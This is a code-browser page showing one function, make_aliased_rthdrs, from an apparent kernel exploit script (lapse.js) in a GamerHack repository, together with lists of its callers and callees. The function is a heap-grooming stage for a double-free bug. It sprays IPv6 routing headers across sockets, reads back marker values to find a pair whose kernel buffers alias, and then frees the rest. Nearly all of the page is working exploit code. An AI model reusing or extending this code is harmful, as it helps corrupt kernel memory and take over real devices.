MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / make_aliased_rthdrs

Function make_aliased_rthdrs

g2all/900/lapse.js:478–506  ·  view source on GitHub ↗
(sds)

Source from the content-addressed store, hash-verified

476// FUNCTIONS FOR STAGE: 0x80 MALLOC ZONE DOUBLE FREE
477
478function make_aliased_rthdrs(sds) {
479 const marker_offset = 4;
480 const size = 0x80;
481 const buf = new Buffer(size);
482 const rsize = build_rthdr(buf, size);
483
484 for (let loop = 0; loop < num_alias; loop++) {
485 for (let i = 0; i < num_sds; i++) {
486 buf.write32(marker_offset, i);
487 set_rthdr(sds[i], buf, rsize);
488 }
489
490 for (let i = 0; i < sds.length; i++) {
491 get_rthdr(sds[i], buf);
492 const marker = buf.read32(marker_offset);
493 if (marker !== i) {
494 log(`aliased rthdrs at attempt: ${loop}`);
495 const pair = [sds[i], sds[marker]];
496 log(`found pair: ${pair}`);
497 sds.splice(marker, 1);
498 sds.splice(i, 1);
499 free_rthdrs(sds);
500 sds.push(new_socket(), new_socket());
501 return pair;
502 }
503 }
504 }
505 die(`failed to make aliased rthdrs. size: ${hex(size)}`);
506}
507
508// summary of the bug at aio_multi_delete():
509//

Callers 1

race_oneFunction · 0.70

Calls 10

logFunction · 0.90
dieFunction · 0.90
hexFunction · 0.90
build_rthdrFunction · 0.70
set_rthdrFunction · 0.70
get_rthdrFunction · 0.70
free_rthdrsFunction · 0.70
new_socketFunction · 0.70
write32Method · 0.45
read32Method · 0.45

Tested by

no test coverage detected